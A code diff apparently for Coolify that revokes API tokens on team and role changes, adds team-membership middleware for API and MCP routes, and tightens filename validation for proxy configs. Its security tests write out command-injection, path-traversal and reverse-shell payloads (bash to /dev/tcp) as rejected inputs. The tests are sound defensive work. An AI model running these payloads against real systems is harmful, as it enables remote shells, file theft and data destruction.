diff --git a/app/Actions/User/DeleteUserTeams.php b/app/Actions/User/DeleteUserTeams.php index d572db9e7..b2b06e7ba 100644 --- a/app/Actions/User/DeleteUserTeams.php +++ b/app/Actions/User/DeleteUserTeams.php @@ -137,9 +137,11 @@ class DeleteUserTeams // Update the new owner's role to owner $team->members()->updateExistingPivot($newOwner->id, ['role' => 'owner']); + RevokeUserTeamTokens::forUserTeam($newOwner, $team->id); // Remove the current user from the team $team->members()->detach($this->user->id); + RevokeUserTeamTokens::forUserTeam($this->user, $team->id); $counts['transferred']++; } catch (\Exception $e) { @@ -152,6 +154,7 @@ class DeleteUserTeams foreach ($preview['to_leave'] as $team) { try { $team->members()->detach($this->user->id); + RevokeUserTeamTokens::forUserTeam($this->user, $team->id); $counts['left']++; } catch (\Exception $e) { \Log::error("Failed to remove user from team {$team->id}: ".$e->getMessage()); diff --git a/app/Actions/User/RevokeUserTeamTokens.php b/app/Actions/User/RevokeUserTeamTokens.php new file mode 100644 index 000000000..9aadf1eeb --- /dev/null +++ b/app/Actions/User/RevokeUserTeamTokens.php @@ -0,0 +1,43 @@ +where('tokenable_id', self::userId($user)) + ->where('team_id', $teamId) + ->delete(); + } + + public static function forUser(User|int $user): int + { + return self::baseQuery() + ->where('tokenable_id', self::userId($user)) + ->delete(); + } + + public static function forTeam(int|string $teamId): int + { + return self::baseQuery() + ->where('team_id', $teamId) + ->delete(); + } + + private static function baseQuery(): Builder + { + return PersonalAccessToken::query() + ->where('tokenable_type', User::class); + } + + private static function userId(User|int $user): int + { + return $user instanceof User ? $user->id : $user; + } +} diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index a584bc111..02a49aaa8 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -12,6 +12,7 @@ use App\Http\Middleware\CheckForcePasswordReset; use App\Http\Middleware\DecideWhatToDoWithUser; use App\Http\Middleware\EncryptCookies; use App\Http\Middleware\EnsureMcpEnabled; +use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; use App\Http\Middleware\PreventRequestsDuringMaintenance; use App\Http\Middleware\RedirectIfAuthenticated; use App\Http\Middleware\TrimStrings; @@ -104,6 +105,7 @@ class Kernel extends HttpKernel 'ability' => CheckForAnyAbility::class, 'api.ability' => ApiAbility::class, 'api.sensitive' => ApiSensitiveData::class, + 'api.token.team' => EnsureTokenBelongsToCurrentTeamMember::class, 'can.create.resources' => CanCreateResources::class, 'can.update.resource' => CanUpdateResource::class, 'can.access.terminal' => CanAccessTerminal::class, diff --git a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php new file mode 100644 index 000000000..7c858b38b --- /dev/null +++ b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php @@ -0,0 +1,37 @@ +user(); + $token = $user?->currentAccessToken(); + $teamId = $token?->team_id; + + if (! $user || ! $token || is_null($teamId)) { + return response()->json(['message' => 'Invalid token.'], 401); + } + + $team = $user->teams() + ->where('teams.id', $teamId) + ->first(); + + if (! $team) { + return response()->json(['message' => 'Invalid token.'], 401); + } + + $role = $team->pivot?->role; + if (($token->can('root') || $token->can('write') || $token->can('write:sensitive')) + && ! in_array($role, ['admin', 'owner'], true)) { + return response()->json(['message' => 'Missing required team role.'], 403); + } + + return $next($request); + } +} diff --git a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php index c67591cf5..20d14ddc7 100644 --- a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php +++ b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php @@ -28,12 +28,11 @@ class DynamicConfigurationNavbar extends Component // Decode filename: pipes are used to encode dots for Livewire property binding // (e.g., 'my|service.yaml' -> 'my.service.yaml') - // This must happen BEFORE validation because validateShellSafePath() correctly - // rejects pipe characters as dangerous shell metacharacters + // This must happen BEFORE validation because validateFilenameSafe() + // rejects pipe characters through validateShellSafePath(). $file = str_replace('|', '.', $fileName); - // Validate filename to prevent command injection - validateShellSafePath($file, 'proxy configuration filename'); + validateFilenameSafe($file, 'proxy configuration filename'); if ($proxy_type === 'CADDY' && $file === 'Caddyfile') { $this->dispatch('error', 'Cannot delete Caddyfile.'); diff --git a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php index 31a1dfc7e..481d89c78 100644 --- a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php +++ b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php @@ -43,8 +43,7 @@ class NewDynamicConfiguration extends Component 'value' => 'required', ]); - // Additional security validation to prevent command injection - validateShellSafePath($this->fileName, 'proxy configuration filename'); + validateFilenameSafe($this->fileName, 'proxy configuration filename'); if (data_get($this->parameters, 'server_uuid')) { $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first(); diff --git a/app/Livewire/Team/Member.php b/app/Livewire/Team/Member.php index b1f692365..97d492d70 100644 --- a/app/Livewire/Team/Member.php +++ b/app/Livewire/Team/Member.php @@ -2,6 +2,7 @@ namespace App\Livewire\Team; +use App\Actions\User\RevokeUserTeamTokens; use App\Enums\Role; use App\Models\User; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -23,7 +24,9 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::ADMIN->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::ADMIN->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -39,7 +42,9 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::OWNER->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::OWNER->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -55,7 +60,9 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::MEMBER->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::MEMBER->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -73,6 +80,7 @@ class Member extends Component } $teamId = currentTeam()->id; $this->member->teams()->detach(currentTeam()); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); // Clear cache for the removed user - both old and new key formats Cache::forget("team:{$this->member->id}"); Cache::forget("user:{$this->member->id}:team:{$teamId}"); diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php index f75219fcf..f6d82453a 100644 --- a/app/Mcp/Concerns/ResolvesTeam.php +++ b/app/Mcp/Concerns/ResolvesTeam.php @@ -28,8 +28,14 @@ trait ResolvesTeam protected function resolveTeamId(Request $request): ?int { - $token = $request->user()?->currentAccessToken(); + $user = $request->user(); + $token = $user?->currentAccessToken(); + $teamId = $token?->team_id; - return $token?->team_id; + if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) { + return null; + } + + return (int) $teamId; } } diff --git a/app/Models/Team.php b/app/Models/Team.php index 0fbcfe0c6..f0a50cf69 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Actions\User\RevokeUserTeamTokens; use App\Events\ServerReachabilityChanged; use App\Notifications\Channels\SendsDiscord; use App\Notifications\Channels\SendsEmail; @@ -72,6 +73,8 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen }); static::deleting(function (Team $team) { + RevokeUserTeamTokens::forTeam($team->id); + foreach ($team->privateKeys as $key) { $key->delete(); } diff --git a/app/Models/User.php b/app/Models/User.php index cefdf3d3e..9cbe88835 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Actions\User\RevokeUserTeamTokens; use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; use App\Notifications\TransactionalEmails\EmailChangeVerification; @@ -121,6 +122,8 @@ class User extends Authenticatable implements SendsEmail static::deleting(function (User $user) { \DB::transaction(function () use ($user) { + RevokeUserTeamTokens::forUser($user); + $teams = $user->teams; foreach ($teams as $team) { $user_alone_in_team = $team->members->count() === 1; @@ -158,6 +161,7 @@ class User extends Authenticatable implements SendsEmail if ($found_other_member_who_is_not_owner) { $found_other_member_who_is_not_owner->pivot->role = 'owner'; $found_other_member_who_is_not_owner->pivot->save(); + RevokeUserTeamTokens::forUserTeam($found_other_member_who_is_not_owner, $team->id); $team->members()->detach($user->id); } else { static::finalizeTeamDeletion($user, $team); diff --git a/app/Traits/DeletesUserSessions.php b/app/Traits/DeletesUserSessions.php index e9ec0d946..44ff5f727 100644 --- a/app/Traits/DeletesUserSessions.php +++ b/app/Traits/DeletesUserSessions.php @@ -2,6 +2,7 @@ namespace App\Traits; +use App\Actions\User\RevokeUserTeamTokens; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Session; @@ -17,6 +18,7 @@ trait DeletesUserSessions Session::invalidate(); Session::regenerateToken(); DB::table('sessions')->where('user_id', $this->id)->delete(); + RevokeUserTeamTokens::forUser($this->id); } /** diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 47cca8519..c4881645a 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -11,9 +11,15 @@ use Illuminate\Validation\Rule; function getTeamIdFromToken() { - $token = auth()->user()->currentAccessToken(); + $user = auth()->user(); + $token = $user?->currentAccessToken(); + $teamId = data_get($token, 'team_id'); - return data_get($token, 'team_id'); + if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) { + return null; + } + + return $teamId; } function invalidTokenResponse() { diff --git a/routes/ai.php b/routes/ai.php index 7d3a858c5..3a39677ff 100644 --- a/routes/ai.php +++ b/routes/ai.php @@ -4,4 +4,4 @@ use App\Mcp\Servers\CoolifyServer; use Laravel\Mcp\Facades\Mcp; Mcp::web('/mcp', CoolifyServer::class) - ->middleware(['mcp.enabled', 'auth:sanctum']); + ->middleware(['mcp.enabled', 'auth:sanctum', 'api.token.team']); diff --git a/routes/api.php b/routes/api.php index fb3b4bad6..ec6bde2e6 100644 --- a/routes/api.php +++ b/routes/api.php @@ -29,7 +29,7 @@ Route::post('/feedback', [OtherController::class, 'feedback']) ->middleware('throttle:feedback'); Route::group([ - 'middleware' => ['auth:sanctum', 'api.ability:write'], + 'middleware' => ['auth:sanctum', 'api.token.team', 'api.ability:write'], 'prefix' => 'v1', ], function () { Route::get('/enable', [OtherController::class, 'enable_api']); @@ -38,7 +38,7 @@ Route::group([ Route::post('/mcp/disable', [OtherController::class, 'disable_mcp']); }); Route::group([ - 'middleware' => ['auth:sanctum', ApiAllowed::class, 'api.sensitive'], + 'middleware' => ['auth:sanctum', 'api.token.team', ApiAllowed::class, 'api.sensitive'], 'prefix' => 'v1', ], function () { diff --git a/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php new file mode 100644 index 000000000..c254a26c3 --- /dev/null +++ b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php @@ -0,0 +1,128 @@ + InstanceSettings::query()->updateOrCreate( + ['id' => 0], + ['is_api_enabled' => true], + )); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'admin']); + session(['currentTeam' => $this->team]); +}); + +function bearerJson(string $token): array +{ + return [ + 'Authorization' => 'Bearer '.$token, + 'Content-Type' => 'application/json', + ]; +} + +test('removed member token cannot read team projects', function () { + Project::create(['name' => 'Secret', 'team_id' => $this->team->id]); + $token = $this->user->createToken('read-token', ['read'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $this->withHeaders(bearerJson($token)) + ->getJson('/api/v1/projects') + ->assertUnauthorized(); +}); + +test('removed member token cannot create team projects', function () { + $token = $this->user->createToken('write-token', ['write'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $this->withHeaders(bearerJson($token)) + ->postJson('/api/v1/projects', ['name' => 'Should Not Exist']) + ->assertUnauthorized(); + + expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse(); +}); + +test('downgraded member old write token cannot create team projects', function () { + $token = $this->user->createToken('write-token', ['write'])->plainTextToken; + + $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']); + + $this->withHeaders(bearerJson($token)) + ->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass']) + ->assertForbidden(); + + expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse(); +}); + +test('admin removal through team member component revokes team tokens', function () { + $owner = User::factory()->create(); + $this->team->members()->attach($owner->id, ['role' => 'owner']); + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Member::class, ['member' => $this->user]) + ->call('remove'); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('role downgrade through team member component revokes team tokens', function () { + $owner = User::factory()->create(); + $this->team->members()->attach($owner->id, ['role' => 'owner']); + $token = $this->user->createToken('write-token', ['write'])->accessToken; + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Member::class, ['member' => $this->user]) + ->call('makeReadonly'); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('member cannot create write token through livewire token form', function () { + $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + Livewire::test(ApiTokens::class) + ->set('description', 'member-write-token') + ->set('expiresInDays', 30) + ->set('permissions', ['write']) + ->call('addNewToken'); + + expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse(); +}); + +test('password change revokes user personal access tokens', function () { + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->user->forceFill(['password' => Hash::make('new-password')])->save(); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('team deletion revokes team bound personal access tokens', function () { + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->team->delete(); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); diff --git a/tests/Feature/Mcp/McpEndpointTest.php b/tests/Feature/Mcp/McpEndpointTest.php index 34ae493cc..ae0101547 100644 --- a/tests/Feature/Mcp/McpEndpointTest.php +++ b/tests/Feature/Mcp/McpEndpointTest.php @@ -192,3 +192,14 @@ test('tool calls fail when the token lacks the read ability', function () { expect($response->json('result.isError'))->toBeTrue(); expect($response->json('result.content.0.text'))->toContain('Missing required permissions'); }); + +test('MCP rejects token when user no longer belongs to token team', function () { + Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]); + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $response = mcpCallTool($token, 'list_projects'); + + $response->assertUnauthorized(); +}); diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php index 72c5e4c3a..4bcb70361 100644 --- a/tests/Unit/ProxyConfigurationSecurityTest.php +++ b/tests/Unit/ProxyConfigurationSecurityTest.php @@ -12,43 +12,69 @@ * - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php */ test('proxy configuration rejects command injection in filename with command substitution', function () { - expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with semicolon', function () { - expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with pipe', function () { - expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with backticks', function () { - expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with ampersand', function () { - expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with redirect operators', function () { - expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename')) ->toThrow(Exception::class); - expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects reverse shell payload', function () { - expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) ->toThrow(Exception::class); }); +test('proxy configuration rejects path traversal filenames', function (string $filename) { + expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename')) + ->toThrow(Exception::class); +})->with([ + '../VICTIM_FILE', + '../../etc/shadow', + '/etc/passwd', + 'subdir/config.yaml', + 'subdir\\config.yaml', + 'config..yaml', + "config.yaml\0../../etc/passwd", +]); + +test('dynamic proxy components use filename-safe validation', function () { + $deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php'); + $createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php'); + + expect($deleteComponent) + ->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')"); + + expect($createComponent) + ->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')"); +}); + test('proxy configuration escapes filenames properly', function () { $filename = "config'test.yaml"; $escaped = escapeshellarg($filename); @@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () { }); test('proxy configuration accepts legitimate Traefik filenames', function () { - expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); }); test('proxy configuration accepts legitimate Caddy filenames', function () { - expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); });